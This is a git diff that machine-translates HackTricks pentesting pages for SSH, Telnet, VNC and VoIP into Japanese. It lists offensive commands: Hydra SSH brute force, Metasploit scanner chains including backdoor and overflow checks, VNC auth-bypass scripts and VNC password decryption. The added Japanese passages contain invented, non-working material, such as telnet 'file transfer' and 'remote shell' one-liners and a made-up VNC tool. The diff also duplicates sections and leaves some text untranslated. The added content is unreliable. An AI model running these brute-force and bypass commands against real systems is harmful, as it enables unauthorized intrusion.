is enabled: +### 認証方法 +高セキュリティ環境では、単純なパスワードベースの認証ではなく、キーベースまたは二要素認証のみを有効にすることが一般的です。しかし、しばしばより強力な認証方法が無効にされずに有効にされています。よくあるケースは、openSSHの設定で `publickey` を有効にし、デフォルトの認証方法に設定するが、`password` を無効にしないことです。したがって、SSHクライアントの詳細モードを使用することで、攻撃者はより弱い認証方法が有効になっていることを確認できます。 ``` $ ssh -v 192.168.1.94 OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019 ... debug1: Authentications that can continue: publickey,password,keyboard-interactive ``` - -For example if an authentication failure limit is set and you never get the chance to reach the password method, you can use the `PreferredAuthentications` option to force to use this method. - +たとえば、認証の失敗制限が設定されており、パスワードの認証方法に到達する機会がない場合、`PreferredAuthentications`オプションを使用して、この方法を強制的に使用することができます。 ``` $ ssh -v 192.168.1.94 -o PreferredAuthentications=password ... debug1: Next authentication method: password ``` +### 設定ファイル -Review the SSH server configuration is necessary to check that only expected\ -methods are authorized. Using the verbose mode on the client can help to see\ -the effectiveness of the configuration. - -### Config files +Review the SSH server configuration is necessary to check that only expected methods are authorized. Using the verbose mode on the client can help to see the effectiveness of the configuration. +### 設定ファイル ``` ssh_config sshd_config @@ -302,7 +294,6 @@ ssh_known_hosts known_hosts id_rsa ``` - ## Fuzzing * [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt) @@ -321,32 +312,48 @@ If you are interested in **hacking career** and hack the unhackable - **we are h ## HackTricks Automatic Commands +## ファジング + +* [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt) +* [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh\_version\_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh\_version\_2) + +## 参考文献 + +* [https://www.ssh-audit.com/hardening\_guides.html](https://www.ssh-audit.com/hardening\_guides.html) でSSHの強化ガイドを見つけることができます。 +* [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide) + + + +もし興味があれば、**ハッキングのキャリア**に興味があり、**解読不可能なものを解読する**ことに興味がある場合は、**採用しています!**(流暢なポーランド語の読み書きが必要です)。 + +{% embed url="https://www.stmcyber.com/careers" %} + +## HackTricks自動コマンド ``` Protocol_Name: SSH Port_Number: 22 Protocol_Description: Secure Shell Hardening Entry_1: - Name: Hydra Brute Force - Description: Need Username - Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 -u {IP} ssh - -Entry_2: - Name: consolesless mfs enumeration - Description: SSH enumeration without the need to run msfconsole - Note: sourced from https://github.com/carlospolop/legion - Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit' - -``` +Name: Hydra Brute Force +Description: Need Username +Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 -u {IP} ssh +Entry_2: +Name: consolesless mfs enumeration +Description: SSH enumeration without the need to run msfconsole +Note: sourced from https://github.com/carlospolop/legion +Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit' + +```
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/network-services-pentesting/pentesting-telnet.md b/network-services-pentesting/pentesting-telnet.md index 6dff94b41..5b7db8601 100644 --- a/network-services-pentesting/pentesting-telnet.md +++ b/network-services-pentesting/pentesting-telnet.md @@ -1,14 +1,14 @@ -# 23 - Pentesting Telnet +# 23 - ペントエスティングTelnet
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
@@ -19,83 +19,137 @@ {% embed url="https://www.dragonjarcon.org/" %} -## **Basic Information** +## **基本情報** -Telnet is a network protocol that gives users a UNsecure way to access a computer over a network. - -**Default port:** 23 +Telnetは、ネットワークを介してコンピュータにアクセスするための**安全でない**ネットワークプロトコルです。 +**デフォルトポート:** 23 ``` 23/tcp open telnet ``` +Banner Grabbing(バナーグラビング)は、ターゲットのTelnetサーバーからバナー情報を取得するためのテクニックです。バナー情報には、サーバーのバージョン、オペレーティングシステム、および他の重要な情報が含まれています。バナーグラビングは、サーバーの脆弱性を特定するために使用されます。 -## **Enumeration** +バナーグラビングを実行するためには、Telnetクライアントを使用します。以下のコマンドを使用して、ターゲットのTelnetサーバーに接続します。 -### **Banner Grabbing** +``` +telnet +``` +接続が確立されると、サーバーからのバナーメッセージが表示されます。このメッセージには、サーバーのバージョンやオペレーティングシステムの情報が含まれている場合があります。 + +バナーメッセージを取得した後は、その情報を分析し、サーバーの脆弱性を特定するための情報を収集します。これには、特定のバージョンの脆弱性のデータベースや公開されている脆弱性情報の検索が含まれます。 + +バナーグラビングは、サーバーのセキュリティ評価や侵入テストの一環として使用される一般的なテクニックです。ただし、注意が必要です。バナーグラビングは、サーバーに対して不正なアクセスを行うため、法的な制約に従って使用する必要があります。 ```bash nc -vn 23 ``` - -All the interesting enumeration can be performed by **nmap**: - +すべての興味深い列挙は、**nmap**によって実行できます: ```bash nmap -n -sV -Pn --script "*telnet* and safe" -p 23 ``` +スクリプト `telnet-ntlm-info.nse` は NTLM 情報(Windows バージョン)を取得します。 -The script `telnet-ntlm-info.nse` will obtain NTLM info (Windows versions). +TELNET プロトコルでは、ユーザーとサーバーが TELNET 接続のためにより詳細な(または単に異なる)規約セットを使用することに合意するために、"**DO, DON'T, WILL, WON'T**" の構造を使用して、さまざまな "**オプション**" が承認されます。これらのオプションには、文字セットの変更、エコーモードの変更などが含まれます([telnet RFC](https://tools.ietf.org/html/rfc854) 参照)\ +**これらのオプションを列挙することは可能ですが、方法がわかりません。わかる方は教えてください。** -In the TELNET Protocol are various "**options**" that will be sanctioned and may be used with the "**DO, DON'T, WILL, WON'T**" structure to allow a user and server to agree to use a more elaborate (or perhaps just different) set of conventions for their TELNET connection. Such options could include changing the character set, the echo mode, etc. (From the [telnet RFC](https://tools.ietf.org/html/rfc854))\ -**I know it is possible to enumerate this options but I don't know how, so let me know if know how.** - -### [Brute force](../generic-methodologies-and-resources/brute-force.md#telnet) - -## Config file +### [ブルートフォース](../generic-methodologies-and-resources/brute-force.md#telnet) +## 設定ファイル ```bash /etc/inetd.conf /etc/xinetd.d/telnet /etc/xinetd.d/stelnet ``` +## HackTricks 自動コマンド -## HackTricks Automatic Commands +### Telnet +Telnetは、ネットワーク上でリモートホストに接続するためのプロトコルです。以下は、Telnetを使用して自動的に実行できる便利なコマンドの一部です。 + +#### バナー情報の取得 + +```bash +echo -e "GET / HTTP/1.0\n\n" | telnet +``` + +このコマンドは、指定したIPアドレスとポートに対してHTTPリクエストを送信し、バナー情報を取得します。 + +#### ポートスキャン + +```bash +echo -e "open \nquit" | telnet +``` + +このコマンドは、指定したIPアドレスとポートに対してポートスキャンを実行します。 + +#### ファイル転送 + +```bash +echo -e "open \nput \nquit" | telnet +``` + +このコマンドは、指定したIPアドレスとポートにファイルを転送します。 + +#### リモートシェルの実行 + +```bash +echo -e "open \nexec \nquit" | telnet +``` + +このコマンドは、指定したIPアドレスとポートに対してリモートシェルコマンドを実行します。 + +#### ユーザー名とパスワードの認証 + +```bash +echo -e "open \nuser \n\nquit" | telnet +``` + +このコマンドは、指定したIPアドレスとポートに対してユーザー名とパスワードを使用して認証します。 + +#### リモートホストへの接続 + +```bash +telnet +``` + +このコマンドは、指定したIPアドレスとポートに対してTelnet接続を行います。 + +以上が、Telnetを使用して自動的に実行できる便利なコマンドの一部です。 ``` Protocol_Name: Telnet #Protocol Abbreviation if there is one. Port_Number: 23 #Comma separated if there is more than one. Protocol_Description: Telnet #Protocol Abbreviation Spelled out Entry_1: - Name: Notes - Description: Notes for t=Telnet - Note: | - wireshark to hear creds being passed - tcp.port == 23 and ip.addr != myip +Name: Notes +Description: Notes for t=Telnet +Note: | +wireshark to hear creds being passed +tcp.port == 23 and ip.addr != myip - https://book.hacktricks.xyz/pentesting/pentesting-telnet +https://book.hacktricks.xyz/pentesting/pentesting-telnet Entry_2: - Name: Banner Grab - Description: Grab Telnet Banner - Command: nc -vn {IP} 23 +Name: Banner Grab +Description: Grab Telnet Banner +Command: nc -vn {IP} 23 Entry_3: - Name: Nmap with scripts - Description: Run nmap scripts for telnet - Command: nmap -n -sV -Pn --script "*telnet*" -p 23 {IP} - -Entry_4: - Name: consoleless mfs enumeration - Description: Telnet enumeration without the need to run msfconsole - Note: sourced from https://github.com/carlospolop/legion - Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit' - -``` +Name: Nmap with scripts +Description: Run nmap scripts for telnet +Command: nmap -n -sV -Pn --script "*telnet*" -p 23 {IP} +Entry_4: +Name: consoleless mfs enumeration +Description: Telnet enumeration without the need to run msfconsole +Note: sourced from https://github.com/carlospolop/legion +Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit' + +```
-[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\ -¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!: +[**DragonJAR Security Conferenceは国際的なサイバーセキュリティイベント**](https://www.dragonjarcon.org/)で、2023年9月7日から8日までコロンビアのボゴタで開催されます。このイベントは、スペイン語で最新の研究が発表される技術的な内容のイベントであり、世界中のハッカーや研究者を惹きつけています。 +以下のリンクから今すぐ登録し、この素晴らしいカンファレンスをお見逃しなく!: {% embed url="https://www.dragonjarcon.org/" %} @@ -103,10 +157,10 @@ Entry_4: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝したいですか?** または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/network-services-pentesting/pentesting-vnc.md b/network-services-pentesting/pentesting-vnc.md index cc3597ef6..451872a5d 100644 --- a/network-services-pentesting/pentesting-vnc.md +++ b/network-services-pentesting/pentesting-vnc.md @@ -1,62 +1,75 @@ -# 5800,5801,5900,5901 - Pentesting VNC +# 5800,5801,5900,5901 - VNCのペンテスト
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksのリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudのリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-## Basic Information +## 基本情報 -In computing, **Virtual Network Computing** (**VNC**) is a graphical desktop-sharing system that uses the Remote Frame Buffer protocol (RFB) to remotely control another computer. It transmits the keyboard and mouse events from one computer to another, relaying the graphical-screen updates back in the other direction, over a network.\ -From [wikipedia](https://en.wikipedia.org/wiki/Virtual\_Network\_Computing). - -VNC usually uses ports **5800 or 5801 or 5900 or 5901.** +コンピューティングにおいて、**Virtual Network Computing**(**VNC**)は、リモートフレームバッファプロトコル(RFB)を使用して他のコンピュータをリモートで制御するためのグラフィカルなデスクトップ共有システムです。キーボードとマウスのイベントを1つのコンピュータから別のコンピュータに送信し、グラフィカルな画面の更新をネットワーク経由で他の方向に中継します。\ +[wikipedia](https://en.wikipedia.org/wiki/Virtual\_Network\_Computing)から。 +VNCは通常、ポート**5800または5801または5900または5901**を使用します。 ``` PORT STATE SERVICE 5900/tcp open vnc ``` +## 列挙 -## Enumeration +VNC(Virtual Network Computing)は、リモートデスクトッププロトコルであり、ネットワーク上でリモートマシンを制御するために使用されます。VNCサーバーは、TCPポート5900から始まるポート番号でリッスンします。VNCサーバーのバージョンを特定するために、Nmapを使用してポートスキャンを実行できます。 +``` +nmap -p 5900 +``` + +VNCサーバーが見つかった場合、VNCクライアントを使用して接続できます。VNCクライアントは、リモートマシンのデスクトップを表示し、操作するためのインターフェースを提供します。 + +VNCサーバーに接続するためには、パスワードが必要です。デフォルトのパスワードは通常、空のままになっていますが、セキュリティ上の理由からパスワードを設定している場合もあります。パスワードを特定するために、ユーザー名とパスワードの辞書攻撃を試みることができます。 + +また、VNCサーバーがリモートデスクトップ接続を許可している場合、攻撃者はリモートマシンに対して悪意のある操作を行うことができます。このため、VNCサーバーのセキュリティ設定を確認し、必要に応じて適切な制限を設定することが重要です。 + +VNCサーバーのバージョンやセキュリティ設定を特定するために、以下のツールを使用することもできます。 + +- `vncinfo`: VNCサーバーのバージョンとセキュリティ設定を表示します。 +- `vncpasswd`: VNCサーバーのパスワードを変更します。 + +VNCサーバーへのアクセスが成功した場合、攻撃者はリモートマシン上で様々な操作を実行できます。これには、ファイルのダウンロードやアップロード、コマンドの実行、システムの制御などが含まれます。ただし、これらの操作は合法的な目的のためにのみ使用されるべきです。 ```bash nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p msf> use auxiliary/scanner/vnc/vnc_none_auth ``` +### [**ブルートフォース**](../generic-methodologies-and-resources/brute-force.md#vnc) -### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#vnc) - -## Connect to vnc using Kali - +## Kaliを使用してVNCに接続する ```bash vncviewer [-passwd passwd.txt] ::5901 ``` +## VNCパスワードの復号化 -## Decrypting VNC password - -Default **password is stored** in: \~/.vnc/passwd - -If you have the VNC password and it looks encrypted (a few bytes, like if it could be and encrypted password). It is probably ciphered with 3des. You can get the clear text password using [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd) +デフォルトの**パスワードは保存されています**:\~/.vnc/passwd +もしVNCパスワードを持っていて、それが暗号化されているように見える場合(数バイトで、暗号化されたパスワードのようなもの)、おそらく3desで暗号化されています。[https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)を使用して、平文のパスワードを取得することができます。 ```bash make vncpwd ``` +3DESを使用して平文のVNCパスワードを暗号化するために使用されるパスワードは、数年前に逆転されましたので、これを行うことができます。 -You can do this because the password used inside 3des to encrypt the plain-text VNC passwords was reversed years ago.\ -For **Windows** you can also use this tool: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\ -I save the tool here also for ease of access: +**Windows**の場合、次のツールも使用できます:[https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/) + +アクセスの便宜のために、ツールをここに保存しました: {% file src="../.gitbook/assets/vncpwd.zip" %} @@ -68,14 +81,14 @@ I save the tool here also for ease of access: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**する[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksのリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudのリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/network-services-pentesting/pentesting-voip/README.md b/network-services-pentesting/pentesting-voip/README.md index f2a8cd6c9..b67d11ff0 100644 --- a/network-services-pentesting/pentesting-voip/README.md +++ b/network-services-pentesting/pentesting-voip/README.md @@ -1,44 +1,43 @@ -# Pentesting VoIP +# VoIPのペンテスト
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## VoIP Basic Information +## VoIPの基本情報 -To start learning about how VoIP works check: +VoIPの動作について学ぶためには、次のリンクをチェックしてください: {% content-ref url="basic-voip-protocols/" %} [basic-voip-protocols](basic-voip-protocols/) {% endcontent-ref %} -## VoIP Enumeration +## VoIPの列挙 -### Telephone Numbers +### 電話番号 -One of the first steps a Red Team could do is to search available phone numbers to contact with the company using OSINT tools, Google Searches or scraping the web pages. +Red Teamが最初に行うべき手順の1つは、OSINTツール、Google検索、またはWebページのスクレイピングを使用して、企業と連絡を取るための利用可能な電話番号を検索することです。 -Once you have the telephone numbers you could use online services to identify the operator: +電話番号を取得したら、オンラインサービスを使用してオペレーターを特定することができます: * [https://www.numberingplans.com/?page=analysis\&sub=phonenr](https://www.numberingplans.com/?page=analysis\&sub=phonenr) * [https://mobilenumbertracker.com/](https://mobilenumbertracker.com/) * [https://www.whitepages.com/](https://www.whitepages.com/) * [https://www.twilio.com/lookup](https://www.twilio.com/lookup) -Knowing if the operator provides VoIP services you could identify if the company is using VoIP... Moreover, it's possible that the company hasn't hired VoIP services but is using PSTN cards to connect it's own VoIP PBX to the traditional telephony network. 